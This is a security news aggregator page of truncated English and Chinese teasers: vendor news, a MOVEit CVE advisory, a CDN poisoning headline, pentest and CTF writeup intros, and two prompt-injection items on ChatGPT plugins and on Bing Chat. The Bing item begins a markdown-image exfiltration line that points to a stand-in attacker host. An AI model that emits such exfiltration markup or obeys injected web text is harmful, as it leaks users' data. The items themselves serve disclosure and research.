Aggregator

Between mountains in Hawai‘i, innovative scientists show precision timing at the quantum limit.

墨菲安全入选开放原子开源基金会-开源安全委员会成员单位。基于OSCS社区与产品服务提供各项能力，并将SCA工具和相关插件开源，在社区中共享。积极参与开源安全标准的改进与制定，推动标准的落地，支撑产业合作落地。

Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。

Akamai was named a Leader in the IDC MarketScape for delivering cloud security without performance trade-offs via our mature application security portfolio.

OpenAI continues to add plugins with security vulnerabilities to their store. In particular powerful plugins that can impersonate a user are not getting the required security scrutiny, or a general mitigation at the platform level. As a brief reminder, one of the challenges Large Language Model (LLM) User-Agents, like ChatGPT, and plugins face is the Confused Deputy Problem / Plugin Request Forgery Attacks, which means that during a Prompt Injection attack an adversary can issue commands to plugins to cause harm.

【供应链安全】Bootcss CDN 疑似被投毒

The new center will be a key pillar of the bipartisan CHIPS and Science Act’s research and development (R&D) program.

漏洞很简单，仅进行部分补充及记录

SIEM会消亡吗？未来如何发展？

Summary Progress, the vendor that provides MOVEit, has disclosed a new, critical vulnerability in its MOVEit file transfer program. Threat Type Vulnerability Overview ***UPDATE #1 - June 19, 2023*** Progress has released an update to their original advisory. The vulnerability has been assigned CVE-2023-35708 and a patch has been made available. See the updated advisory here for additional information. Original Post A new privilege escalation and unauthorized access vulnerability in Progress’ MOVEit Tran

注：最近在参加一个领导力修炼课程，受益匪浅。我始终觉得领导力的修炼是没有止境的，领导力的修炼，等同于人生的修

简述

本文是medium难度的HTB Escape机器的域渗透部分，其中Net-NTLMv2, ADCS, PTH, Silver Ticket等域渗透细节是此box的特色，主要参考0xdf’s blog Escape walkthrough和HTB’s official Escape walkthrough记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

写这篇文章的起因是朋友让我帮忙解决一个与 SM2 算法加密相关的问题。由于我对 SM2 算法并不熟悉，因此在解决问题的过程中走了很多弯路，花了很多时间去了解 SM2 算法以及

This post describes how I found a Prompt Injection attack angle in Bing Chat that allowed malicious text on a webpage (like a user comment or an advertisement) to exfiltrate data. The Vulnerability - Image Markdown Injection When Bing Chat returns text it can return markdown elements, which the client will render as HTML. This includes the feature to include images. Imagine the LLM returns the following text: ![data exfiltration in progress](https://attacker/logo.

又是一年一度的国赛，非常感谢队友带喵喵进了分区赛，这里来记录一下初赛的writeup。

《人类清除计划（The Purge）》系列电影已经拍了五部，可能不少人都看过。故事设定是：在未来的美国，每年

这周末看了看2022 1337UP LIVE CTF国际赛中的一道偏渗透的题目，这里来记录一下解题过程。